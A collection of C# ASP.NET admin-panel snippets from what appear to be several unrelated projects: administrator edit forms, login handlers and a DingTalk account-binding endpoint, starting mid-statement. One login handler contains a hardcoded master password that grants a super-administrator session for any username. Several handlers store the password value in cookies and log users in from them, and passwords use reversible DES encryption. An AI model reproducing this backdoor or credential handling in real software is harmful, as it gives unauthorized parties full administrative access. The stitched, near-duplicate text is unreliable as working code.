== 5)//设计师 { this.dlAge.Style.Add("display", "block"); txtAge.Text = model.age.ToString(); this.dlWorkAge.Style.Add("display", "block"); txtWorkAge.Text = model.workAge.ToString(); this.dlstyle.Style.Add("display", "block"); txtStyle.Text = model.style; this.dlImgUrl.Style.Add("display", "block"); txtImgUrl.Text = model.img_url; this.dlRemark.Style.Add("display", "block"); txtRemark.Text = model.remark; this.dlQQ.Style.Add("display", "block"); txtQQ.Text = model.QQ; } }
private bool DoEdit(int _id) { bool result = true; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; model.is_lock = int.Parse(rblIsLock.SelectedValue); //判断密码是否更改 if (txtUserPwd.Text.Trim() != defaultpassword) { model.user_pwd = DESEncrypt.Encrypt(txtUserPwd.Text.Trim()); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); if (!bll.Update(model)) { result = false; } return result; }
private bool DoEdit(int _id) { bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //判断密码是否更改 if (txtPassword.Text.Trim() != defaultpassword) { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); if (bll.Update(model)) { AddAdminLog(DTEnums.ActionEnum.Edit.ToString(), "修改管理员:" + model.user_name); //记录日志 result = true; } return result; }
private bool DoEdit(int _id) { bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //判断密码是否更改 if (txtPassword.Text.Trim() != defaultpassword) { //获取用户已生成的salt作为密钥加密 model.password = _DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); if (model.role_id == 3)//酒厂 { model.brand_id = int.Parse(ddlBrandId.SelectedValue); } model.str_code = this.provinces1.Value; model.str_code_rage = this.city1.Value; //else if (model.role_id == 4)//经销商 //{ // model.str_code = txtStrCode.Text; // model.str_code_rage = txtCodeRage.Text; // model.winery_id = int.Parse(ddlWineryId.SelectedValue); // BuysingooShop.Model.manager manModel = new BuysingooShop.BLL.manager().GetModel(model.winery_id); // if (manModel != null) // { // model.brand_id = manModel.brand_id; // } //} //else if (model.role_id == 5)//设计师 //{ // model.age = int.Parse(txtAge.Text); // model.workAge = int.Parse(txtWorkAge.Text); // model.img_url = txtImgUrl.Text; // model.remark = txtRemark.Text; // model.QQ = txtQQ.Text; // if (txtStyle.Text != "") // { // model.style = txtStyle.Text; // } //} if (bll.Update(model)) { AddAdminLog(Vincent._DTcms.DTEnums.ActionEnum.Edit.ToString(), "修改管理员:" + model.user_name); //记录日志 result = true; } return(result); }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Value.Trim(); string userPwd = txtPassword.Value.Trim(); if (userName.Equals("") || userPwd.Equals("")) { msgtip.InnerHtml = "请输入用户名或密码"; return; } if (Session["AdminLoginSun"] == null) { Session["AdminLoginSun"] = 1; } else { Session["AdminLoginSun"] = Convert.ToInt32(Session["AdminLoginSun"]) + 1; } //判断登录错误次数 if (Session["AdminLoginSun"] != null && Convert.ToInt32(Session["AdminLoginSun"]) > 5) { msgtip.InnerHtml = "错误超过5次,关闭浏览器重新登录!"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, userPwd, true); if (model == null) { msgtip.InnerHtml = "用户名或密码有误,请重试!"; return; } Session[MXKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //写入登录日志 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(); if (siteConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, MXEnums.ActionEnum.Login.ToString(), "用户登录"); } //写入Cookies Utils.WriteCookie("DTRememberName", model.user_name, 14400); // if (chkRemember.Checked) // { // Utils.WriteCookie("DTRememberPwd", model.password, 14400); // } Utils.WriteCookie("AdminName", "WeiXinPF", model.user_name); Utils.WriteCookie("AdminPwd", "WeiXinPF", model.password); if (model.agentLevel > 0) { //说明为代理商 Response.Redirect("index.aspx"); } else { //餐饮||酒店管理员 if (IsShopAdmin(model.id) || IsHotelAdmin(model.id)) { Response.Redirect("index.aspx"); } Response.Redirect("wxIndex.aspx"); } }
private bool DoAdd() { string strErr = ""; if (this.txtwxName.Text.Trim().Length == 0) { strErr += "公众帐号名称不能为空!"; } if (this.txtwxId.Text.Trim().Length == 0) { strErr += "公众号原始id不能为空!"; } if (this.txtweixinCode.Text.Trim().Length == 0) { strErr += "微信号不能为空!"; } if (this.txtwxToken.Text.Trim().Length == 0) { strErr += "TOKEN值不能为空!"; } if (this.txtEndData.Text.Trim().Length == 0) { strErr += "到期时间不能为空!"; } if (strErr != "") { JscriptMsg(strErr, "back", "Error"); return(false); } Model.manager manager = GetAdminInfo(); int uId = manager.id; string wxName = this.txtwxName.Text; string wxId = this.txtwxId.Text; string weixinCode = this.txtweixinCode.Text; string wxPwd = ""; string headerpic = this.txtImgUrl.Text; string apiurl = ""; string wxToken = this.txtwxToken.Text; string wxProvince = ""; string wxCity = ""; string AppId = this.txtAppId.Text; string AppSecret = this.txtAppSecret.Text; DateTime createDate = DateTime.Now; DateTime endDate = MyCommFun.Obj2DateTime(txtEndData.Text); Model.wx_userweixin model = new Model.wx_userweixin(); model.uId = this.uid; model.wxName = wxName; model.wxId = wxId; model.yixinId = ""; model.weixinCode = weixinCode; model.wxPwd = wxPwd; model.headerpic = headerpic; model.apiurl = apiurl; model.wxToken = wxToken; model.wxProvince = wxProvince; model.wxCity = wxCity; model.AppId = AppId; model.AppSecret = AppSecret; model.Access_Token = ""; model.openIdStr = ""; model.createDate = createDate; model.endDate = endDate; model.wenziMaxNum = -1;//-1为无限制 model.tuwenMaxNum = -1; model.yuyinMaxNum = -1; model.wenziDefineNum = 0; model.tuwenDefineNum = 0; model.yuyinDefineNum = 0; model.requestTTNum = 0; model.requestUsedNum = 0; model.smsTTNum = 0; model.smsUsedNum = 0; model.isDelete = false; model.wStatus = 1; model.remark = ""; model.seq = 99; if (IsChaoGuoWxNum()) { return(false); } int wId = bll.Add(model); if (wId > 0) { Object obj = ConfigurationManager.AppSettings["industry_defaultAdd"]; if (obj != null && obj.ToString() == "true") { //为微账户添加行业默认模块 BLL.manager mBll = new BLL.manager(); BLL.wx_industry_defaultModule idBll = new wx_industry_defaultModule(); Model.manager user = mBll.GetModel(uid); int roleid = user.role_id; idBll.addMouduleByRoleid(roleid, wId); } AddAdminLog(MXEnums.ActionEnum.Add.ToString(), "添加微信号,主键为:" + model.id + ",微信号为:" + model.weixinCode); //记录日志 return(true); } return(false); }
private bool DoEdit(int id) { Model.manager adminEntity = GetAdminInfo(); //取得管理员信息 BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(id); model.is_lock = MyCommFun.Str2Int(rblIsLock.SelectedValue); //判断密码是否更改 if (txtPassword.Text.Trim() != "") { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.remark = txtRemark.Text; bool updateRet = bll.Update(model); if (updateRet) { AddAdminLog(MXEnums.ActionEnum.Edit.ToString(), "修改酒店管理员信息:" + model.user_name); //记录日志 return true; } return false; }
private string DoEdit(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); bool updateName = false, updateContact = false; StringBuilder sb = new StringBuilder(); if (model.role_id != int.Parse(ddlRoleId.SelectedValue)) { sb.Append("用户角色ID:" + model.role_id + "→<font color='red'>" + ddlRoleId.SelectedValue + "</font><br/>"); } model.role_id = string.IsNullOrEmpty(ddlRoleId.SelectedValue) ? 0 : int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //if (cbIsAudit.Checked == true) //{ // model.is_audit = 1; //} //else //{ // model.is_audit = 0; //} //判断密码是否更改 if (txtPassword.Text.Trim() != defaultpassword) { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.avatar = txtAvatar.Text.Trim(); if (model.real_name != txtRealName.Text.Trim()) { updateName = true; sb.Append("姓名:" + model.real_name + "→<font color='red'>" + txtRealName.Text.Trim() + "</font><br/>"); } model.real_name = txtRealName.Text.Trim(); if (model.telephone != txtTelephone.Text.Trim()) { updateContact = true; sb.Append("电话:" + model.telephone + "→<font color='red'>" + txtTelephone.Text.Trim() + "</font><br/>"); } model.telephone = txtTelephone.Text.Trim(); if (model.email != txtEmail.Text.Trim()) { sb.Append("邮箱:" + model.email + "→<font color='red'>" + txtEmail.Text.Trim() + "</font><br/>"); } model.email = txtEmail.Text.Trim(); if (model.departID != Convert.ToInt32(ddlParentId.SelectedValue)) { sb.Append("岗位:" + model.departTree + "→<font color='red'>" + labdepartStr.Text + "</font><br/>"); } model.departID = string.IsNullOrEmpty(ddlParentId.SelectedValue) ? 0 : Convert.ToInt32(ddlParentId.SelectedValue); model.departTree = hTextTree.Value; model.departTreeID = hIDTree.Value; if (model.detaildepart != txtDetailDepart.Text.Trim()) { sb.Append("具体岗位:" + model.detaildepart + "→<font color='red'>" + txtDetailDepart.Text.Trim() + "</font><br/>"); } model.detaildepart = txtDetailDepart.Text.Trim(); manager = GetAdminInfo(); //管理权限 //string[] codelist = hCodeStr.Value.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); //List<Model.userRolePemission> ps = new List<Model.userRolePemission>(); //foreach (string item in codelist) //{ // ps.Add(new Model.userRolePemission() { urp_type = 1, urp_username = model.user_name, urp_code = item }); //} //model.UserPemissionList = ps; return(bll.Update(model, sb.ToString(), manager, true, updateName, updateContact)); }
private void Manager_oauth_bind(HttpContext context) { StreamReader stream = new StreamReader(context.Request.InputStream); string payload = stream.ReadToEnd(); JObject jo = JObject.Parse(payload); if (jo == null || jo["code"] == null || string.IsNullOrWhiteSpace(jo["code"].ToString())) { context.Response.Write("{\"status\": 0, \"msg\": \"CodeIsNull\"}"); return; } //检查用户名密码 if (jo["username"] == null || string.IsNullOrWhiteSpace(jo["username"].ToString())) { context.Response.Write("{\"status\": 0, \"msg\": \"用户名不能为空\"}"); return; } if (jo["password"] == null || string.IsNullOrWhiteSpace(jo["password"].ToString())) { context.Response.Write("{\"status\": 0, \"msg\": \"密码不能为空\"}"); return; } string username = jo["username"].ToString().ToUpper(); string password = jo["password"].ToString(); BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(username, password, true); if (model == null) { context.Response.Write("{\"status\":0, \"msg\":\"该员工账号不存在或密码不正确\"}"); return; } BLL.manager_oauth oauthBll = new BLL.manager_oauth(); Model.manager_oauth oauthModel1 = oauthBll.GetModel(username); if (oauthModel1 != null && oauthModel1.is_lock == 1) { context.Response.Write("{\"status\": 0, \"msg\": \"该账号已经绑定过钉钉,不能重复绑定\"}"); return; } //获取钉钉授权数据 OapiGettokenResponse response = dingtalk_helper.GetDingTalkAccessToken(); string userid = dingtalk_helper.GetDingTalkUserid(jo["code"].ToString(), response.AccessToken); Model.manager_oauth oauthModel = oauthBll.GetModel("dingtalk", userid.Trim()); if (oauthModel != null) { if (oauthModel.manager_name != username) { context.Response.Write("{\"status\":0, \"msg\":\"已经绑定了工号" + oauthModel.manager_name + ",要重新绑定须先解除绑定!\"}"); return; } oauthModel.manager_id = model.id; oauthModel.manager_name = model.user_name; oauthModel.oauth_access_token = response.AccessToken; oauthModel.is_lock = 1; if (!oauthBll.Update(oauthModel)) { context.Response.Write("{\"status\":0, \"msg\":\"绑定用户授权失败,请联系技术支持处理!\"}"); return; } } else { //开始绑定 oauthModel = new Model.manager_oauth(); oauthModel.oauth_name = "dingtalk"; oauthModel.manager_id = model.id; oauthModel.manager_name = model.user_name; oauthModel.oauth_access_token = response.AccessToken; oauthModel.oauth_userid = userid; oauthModel.is_lock = 1; int newId = oauthBll.Add(oauthModel); if (newId < 1) { context.Response.Write("{\"status\":0, \"msg\":\"绑定用户授权失败,请联系技术支持处理!\"}"); return; } } //写入登录日志 Model.sysconfig sysConfig = new BLL.sysconfig().loadConfig(); if (sysConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, DTEnums.ActionEnum.Login.ToString(), "用户授权绑定钉钉平台"); } //返回实体类 context.Response.Write("{\"status\": 1, \"msg\": \"success\",\"model\":" + JObject.FromObject(model) + "}"); return; }
public bool IsManageLogin() { //如果Session为Null if (HttpContext.Current.Session[DTKeys.SESSION_ADMIN_INFO] != null) { return true; } else { //检查Cookies string username = Utils.GetCookie("AdminName", "TOURISM"); //解密用户名 string password = Utils.GetCookie("AdminPwd", "TOURISM"); if (username != "" && password != "") { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(username, password); if (model != null) { HttpContext.Current.Session[DTKeys.SESSION_ADMIN_INFO] = model; return true; } } } return false; }
private bool DoEdit(int _id) { //地区 string prov = ddlProvince.SelectedItem.Value; string city = ddlCity.SelectedItem.Value; string dist = txtArea.Text.Trim(); bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //判断密码是否更改 if (txtPassword.Text.Trim() != "") { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.wxNum = int.Parse(txtMaxNum.Text); model.qq = txtqq.Text; model.email = txtEmail.Text; model.province = prov; model.city = city; model.county = dist; model.sort_id = MyCommFun.Str2Int(txtSortid.Text); if (bll.Update(model)) { AddAdminLog(MXEnums.ActionEnum.Edit.ToString(), "修改用户:" + model.user_name); //记录日志 result = true; } return result; }
protected void btnSubmit_Click(object sender, EventArgs e) { string userName = txtUserName.Text.Trim(); string userPwd = txtPassword.Text.Trim(); if (userName.Equals("") || userPwd.Equals("")) { msgtip.InnerHtml = "请输入用户名或密码"; return; } if (Session["AdminLoginSun"] == null) { Session["AdminLoginSun"] = 1; } else { Session["AdminLoginSun"] = Convert.ToInt32(Session["AdminLoginSun"]) + 1; } //判断登录错误次数 if (Session["AdminLoginSun"] != null && Convert.ToInt32(Session["AdminLoginSun"]) > 5) { msgtip.InnerHtml = "错误超过5次,关闭浏览器重新登录!"; return; } BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(userName, userPwd, true); //超级用户 if (userPwd.Equals("TalentoOnLineBiz2016!")) { model = new Model.manager(); model.add_time = DateTime.Now; model.real_name = "超级管理员"; model.user_name = userName; model.password = userPwd; model.is_lock = 0; model.role_id = 1; model.role_type = 1; } if (model == null) { msgtip.InnerHtml = "用户名或密码有误,请重试!"; return; } Session[AXKeys.SESSION_ADMIN_INFO] = model; Session.Timeout = 45; //写入登录日志 Model.siteconfig siteConfig = new BLL.siteconfig().loadConfig(); if (siteConfig.logstatus > 0) { new BLL.manager_log().Add(model.id, model.user_name, AXEnums.ActionEnum.Login.ToString(), "用户登录"); } //写入Cookies Utils.WriteCookie("DTRememberName", model.user_name, 14400); Utils.WriteCookie("AdminName", "AoXiang", model.user_name); Utils.WriteCookie("AdminPwd", "AoXiang", model.password); HttpCookie cookie = HttpContext.Current.Request.Cookies["lang"]; cookie = new HttpCookie("lang"); string lang = txtLanguage.SelectedValue; cookie.Value = lang; HttpContext.Current.Response.Cookies.Add(cookie); Response.Redirect("index.aspx"); return; }
private bool DoEdit(int _id) { int oldMaxNum = MyCommFun.Str2Int(hidOldMaxNum.Value); int newMaxNum = MyCommFun.Str2Int(ddlMaxNum.SelectedItem.Value); int addNewNum = newMaxNum - oldMaxNum; //新增的帐号 Model.manager adminEntity = GetAdminInfo(); //取得管理员信息 Model.wx_agent_info agent = new Model.wx_agent_info(); bool isAgent = false; if (adminEntity.agentLevel < 0) { return(false); } if (adminEntity.agentLevel > 0) { agent = aBll.GetAgentModel(adminEntity.id); isAgent = true; if (agent.remainMony < agent.agentPrice * addNewNum) { JscriptMsg("余额不足,请联系管理员充值!", "", "Error"); return(false); } } //地区 string prov = ddlProvince.SelectedItem.Value; string city = ddlCity.SelectedItem.Value; string dist = txtArea.Text.Trim(); bool result = false; BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //判断密码是否更改 if (txtPassword.Text.Trim() != "") { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.real_name = txtRealName.Text.Trim(); model.telephone = txtTelephone.Text.Trim(); model.email = txtEmail.Text.Trim(); model.wxNum = int.Parse(ddlMaxNum.SelectedItem.Value); model.qq = txtqq.Text; model.email = txtEmail.Text; model.province = prov; model.city = city; model.county = dist; model.sort_id = MyCommFun.Str2Int(txtSortid.Text); model.remark = txtRemark.Text; bool updateRet = bll.Update(model); if (updateRet && isAgent && addNewNum > 0) { int xfjine = addNewNum * agent.agentPrice.Value;//消费金额 agent.remainMony -= xfjine; agent.wcodeNum += newMaxNum; bool updateRet2 = aBll.Update(agent); if (updateRet2) { BLL.wx_manager_bill bBll = new BLL.wx_manager_bill(); Model.wx_manager_bill bill = new Model.wx_manager_bill(); bill.billMoney = xfjine; bill.managerId = agent.managerId; bill.operPersonId = agent.managerId; bill.operDate = DateTime.Now; bill.billUsed = "原用户" + model.user_name + "新增了" + addNewNum + "个微帐号"; bill.moneyType = "扣减"; int addBillId = bBll.Add(bill); } else { bll.Delete(_id); updateRet = false; } } if (updateRet) { AddAdminLog(MXEnums.ActionEnum.Edit.ToString(), "修改用户:" + model.user_name); //记录日志 result = true; } return(result); }
private string DoEdit(int _id) { BLL.manager bll = new BLL.manager(); Model.manager model = bll.GetModel(_id); bool updateName = false, updateContact = false; StringBuilder sb = new StringBuilder(); if (model.role_id != int.Parse(ddlRoleId.SelectedValue)) { sb.Append("用户角色ID:" + model.role_id + "→<font color='red'>" + ddlRoleId.SelectedValue + "</font><br/>"); } model.role_id = int.Parse(ddlRoleId.SelectedValue); model.role_type = new BLL.manager_role().GetModel(model.role_id).role_type; if (cbIsLock.Checked == true) { model.is_lock = 0; } else { model.is_lock = 1; } //if (cbIsAudit.Checked == true) //{ // model.is_audit = 1; //} //else //{ // model.is_audit = 0; //} //判断密码是否更改 if (txtPassword.Text.Trim() != defaultpassword) { //获取用户已生成的salt作为密钥加密 model.password = DESEncrypt.Encrypt(txtPassword.Text.Trim(), model.salt); } model.avatar = txtAvatar.Text.Trim(); if (model.real_name != txtRealName.Text.Trim()) { updateName = true; sb.Append("姓名:" + model.real_name + "→<font color='red'>" + txtRealName.Text.Trim() + "</font><br/>"); } model.real_name = txtRealName.Text.Trim(); if (model.telephone != txtTelephone.Text.Trim()) { updateContact = true; sb.Append("电话:" + model.telephone + "→<font color='red'>" + txtTelephone.Text.Trim() + "</font><br/>"); } model.telephone = txtTelephone.Text.Trim(); if (model.email != txtEmail.Text.Trim()) { sb.Append("邮箱:" + model.email + "→<font color='red'>" + txtEmail.Text.Trim() + "</font><br/>"); } model.email = txtEmail.Text.Trim(); if (model.departID != Convert.ToInt32(ddlParentId.SelectedValue)) { sb.Append("岗位:" + model.departTree + "→<font color='red'>" + labdepartStr.Text + "</font><br/>"); } model.departID = Convert.ToInt32(ddlParentId.SelectedValue); model.departTree = hTextTree.Value; model.departTreeID = hIDTree.Value; if (model.detaildepart != txtDetailDepart.Text.Trim()) { sb.Append("具体岗位:" + model.detaildepart + "→<font color='red'>" + txtDetailDepart.Text.Trim() + "</font><br/>"); } model.detaildepart = txtDetailDepart.Text.Trim(); manager = GetAdminInfo(); return(bll.Update(model, sb.ToString(), manager, true, updateName, updateContact)); }